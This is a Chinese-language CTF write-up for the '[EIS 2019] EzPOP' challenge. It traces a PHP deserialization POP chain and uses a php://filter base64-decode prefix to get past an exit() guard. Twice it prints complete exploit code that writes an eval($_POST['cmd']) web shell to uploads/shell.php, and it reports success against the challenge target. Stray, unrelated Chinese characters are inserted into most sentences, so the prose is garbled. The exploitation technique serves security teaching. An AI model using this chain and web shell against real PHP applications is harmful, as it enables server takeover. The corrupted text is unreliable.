接著上一篇簡單的pop題目,做一下[EIS 2019]EzPOP,
總的來看代碼量確實是大了酝枢,相對應的一些瑣碎的東西也多了,而且涉及到的知識也更多一些瓢剿,
個人習慣是先找最后一環(huán)逢慌,再向上回溯,
這里首先應該看到如下的片段间狂,這應該是本題目中唯一有可能利用的點攻泼,
?這里是一個文件寫操作,文件名$filename和內容$data理論上都是可控的鉴象,我們可以寫一個shell忙菠,至于具體的思路,參見p牛的文章纺弊,
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
這里的$data的前半部分有exit()牛欢,所以即使我們將傳過來的$data寫入一句話,實際上是執(zhí)行不了的俭尖,(p牛云氢惋,這個過程在實戰(zhàn)中十分常見雀哨,通常出現在緩存叨襟、配置文件等等地方也糊,不允許用戶直接訪問的文件色查,都會被加上if(!defined(xxx))exit;之類的限制)惯疙。個人的經歷是去年暑假在看yxtcmf的題目時引镊,其寫入shell的核心點也是類似于這樣的一行代碼澎嚣,所以看到本題的這行代碼比較敏感承二,只不過yxtcmf的題目寫入好像是比這個稍微容易一些(沒有exit)虑椎。
關于本題的解題的理論是這樣的震鹉,
1.
base64編碼中只包含64個可打印字符,而PHP在解碼base64時捆姜,遇到不在其中的字符時传趾,將會跳過這些字符,僅將合法字符組成一個新的字符串進行解碼泥技。
所以浆兰,一個正常的base64_decode實際上可以理解為如下兩個步驟:
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
使用 php://filter/write=convert.base64-decode 來首先對其解碼的過程中,字符<珊豹、?簸呈、;、>店茶、空格等字符不符合base64編碼的字符范圍將被忽略蜕便,所以最終被解碼的字符僅有“phpexit”和我們傳入的其他字符。
2.
類成員由屬性和方法構成贩幻,類屬性存在于數據段轿腺,類方法存在于代碼段两嘴,對于一個類來說,類的方法不占用類的空間吃溅,占空間的只有類的屬性溶诞。序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法决侈,只會保存類的名字。因此喧务,序列化操作只是保存對象(不是類)的變量赖歌,不保存對象的方法,其實反序列化的主要危害在于我們可以控制對象的變量來改變程序執(zhí)行流程從而達到我們最終的目的功茴。我們無法控制對象的方法來調用庐冯,因此我們這里只能去找一些可以自動調用的一些魔術方法。
回到本題坎穿,先想辦法構造pop鏈展父,最后一環(huán)當然是上面提到的file_put_contents(),
先在file_put_contents()所在的set函數內向上看玲昧,確保這條路確實可用栖茉,
這個是虛假的壓縮, 我們可以人為控制$this->options['data_compress'] = 0;
再向上孵延,可以看到$data是$value經過$this->serialize()函數生成的吕漂,
我們跟進$this->serialize(),發(fā)現這也是虛假的Serialize,我們可以控制$this->options['serialize'] = 'strval'尘应,不會對$value產生實質性影響惶凝,
再向上,
?其實也是虛假的犬钢,這里不再展開了苍鲜,
set函數是class
B中唯一的關鍵函數,其余的都是些虛假的限制性的函數玷犹。而且經過分析混滔,class
B的對象本身只涉及到$filename一個關鍵點($data是參數$value經變化得來的),到這里我們大體上可以確定了其值箱舞,按照上面提到的思路將其控制為如下的樣子即可遍坟,
接下來追溯set()的傳參的來源,我們手動查找調用set()的地方晴股,發(fā)現在class A的save()函數內有調用愿伴,
而且只要class A的對象構造的正常,且$this->autosave設為0电湘,則save()是一定可以被調用的(確保這條路可用)隔节,
回到save()鹅经,可以想象,這里的store必為一個class B的對象怎诫,接下來我們要做的就是向上追溯$this->key和$contents兩個參數瘾晃,確保他們是可控的,
先是$this->key幻妓,這個顯然是完全可控蹦误,這里不再分析,主要是$contents肉津,我們需要先追溯到$this->getForStorage()內强胰,
?繼續(xù)跟進,
?從這里我們可以看出妹沙,$this->cache應該要是一個數組偶洋,數組中要有一個值也為數組(不滿足可能會變?yōu)榭諗到M?沒有實際嘗試)距糖,$this->cache傳進來之后要經過一次檢查玄窝,個人感覺這里的檢查好像沒什么實際的作用,隨便選一個符合的名字(比如path)作為$object的鍵悍引,用編碼后的一句話木馬作為$object的值(這個有點講究恩脂,后面會提到)就行了,接下來return
json_encode([$cleaned,
$this->complete])將這一結果傳給save()中的$contents吗铐,進而作為$value傳進set()东亦。
直觀上看,$this->complete的值對解題沒有影響(后面會提到)唬渗,所以到此我們基本可以確認class A的對象的值了典阵,exp如下:class A {
protected $store;
protected $key = 'shell.php';
protected $expire = null;
public $autosave = 0;
public $cache = array(111=>array('path'=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr"));
public $complete = 1;
public function __construct($store) {
$this->store = $store;
}
}
class B {
public $options = array('data_compress'=>0, 'expire'=> 0,
'prefix'=>"php://filter/write=convert.base64-decode/resource=./uploads/",
'serialize'=>'strval');
}
$b = new B;
$a = new A($b);
但實際上,這個exp是我經過多次測試才得出的镊逝,這個題涉及到的深層次的內容(其實就是坑)到現在我們并沒有講壮啊,下面我逐個解釋坑在哪(其實主要都是因為我對base64的原理理解不到位),
先貼一下動態(tài)運行到file_put_contents()處時各變量的情況撑蒜,
1. payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)之前的片段歹啼,
有的同志可能注意到,我構造的$a->cache的鍵為111座菠,而不是1或者11狸眼,原因如下:
我們的思路是,將經base64-decode過濾器過濾后的$data的值寫入./uploads/shell.php中浴滴,我們想要的效果是payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)之前的部分被解碼為亂碼(至少不要影響payload的正常功能)拓萌,payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)被正常解碼為<?php
eval($_POST['cmd']);?>kkkkk,
比如這樣升略,
?這樣的話我們就能正常使用這個一句話木馬微王,
base64編碼轉換步驟
第一步屡限,將待轉換的字符串每三個字節(jié)分為一組,每個字節(jié)占8bit炕倘,那么共有24個二進制位钧大。
第二步,將上面的24個二進制位每6個一組罩旋,共分為4組啊央。
第三步,在每組前面添加兩個0瘸恼,每組由6個變?yōu)?個二進制位劣挫,總共32個二進制位,即四個字節(jié)东帅。
第四步,根據Base64編碼對照表(見下圖)獲得對應的值球拦。
反過來靠闭,base64解碼時,一定是4個有效字節(jié)(何為有效字節(jié)最開始已經解釋了)為一組進行解碼坎炼,
對于這里愧膀,我們要想保證payload被正常解碼為一句話木馬,就要保證它前面的片段中谣光,有效字節(jié)的數目為4的倍數檩淋,所以我這里$cache的鍵是111,就是說萄金,我補了3個1作為有效字節(jié)湊齊了4的倍數蟀悦,
2. payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)
?上面提到,我們的payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)被正常解碼為<?php
eval($_POST['cmd']);?>kkkkk氧敢,可能有的同志有疑問日戈,為什么不是<?php
eval($_POST['cmd']);,為什么不是<?php eval($_POST['cmd']);?>
?先看兩個php文件孙乖,
先是1.php浙炼,
?運行之,
可以看到唯袄,s.php內成功寫入了內容弯屈,前面的YWFh被解碼為aaa,==后面的YWFh被舍棄恋拷,這里斗膽猜測资厉,是因為這一段字符的前面按每四個字節(jié)一組正常解碼,直到遇到了Pg==梅掠,而==是base64編碼時由于末尾不足3個字節(jié)進行補足而添上的酌住,因而base64_decode運行時檢測到這里店归,就認為解碼結束,后面的內容舍棄(這里我沒有查看底層代碼酪我,如果有大佬知道原理望請告知)消痛,
再看2.php,
運行之都哭,
文件是空的秩伞,就是并沒有將內容寫進去,
看php.net欺矫,
上面講等同于使用base64_decode()函數處理 所有的 數據流纱新,至于問題是不是出在“所有的”一詞上,我確實沒有搞清楚穆趴,希望有大佬可以指點脸爱,
針對出現的這個問題,為了節(jié)省點時間未妹,我選擇了避開簿废,補了5個k來消除=(其實2個就夠了...),
這就是為什么有的同志(包括我自己)一開始編寫的exp無法生效的原因络它,
到此族檬,還有一個小問題,
?這是我要進行base64解碼之后寫入shell.php的字符串化戳,剛才我們提到单料,payload前面的部分是28個字節(jié),payload的長度也是4的倍數点楼,那么最后剩下的唯一一個有效字節(jié)1去哪里了扫尖,我經測試后認為應該是被舍棄了,對解碼不產生任何影響盟步。
本地測試exp:
error_reporting(0);
class A {
protected $store;
protected $key = 'shell.php';
protected $expire = null;
public $autosave = 0;
public $cache = array(111=>array('path'=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr"));
public $complete = 1;
public function __construct($store) {
$this->store = $store;
}
}
class B {
public $options = array('data_compress'=>0, 'expire'=> 0,
'prefix'=>"php://filter/write=convert.base64-decode/resource=./uploads/",
'serialize'=>'strval');
}
$b = new B;
$a = new A($b);
echo urlencode(serialize($a));
echo "
";
$fi= file_get_contents('http://127.0.0.1/?data='.urlencode(serialize($a)));
$fs = file_get_contents('./uploads/shell.php');
echo $fs;
打buu的靶機藏斩,
?成功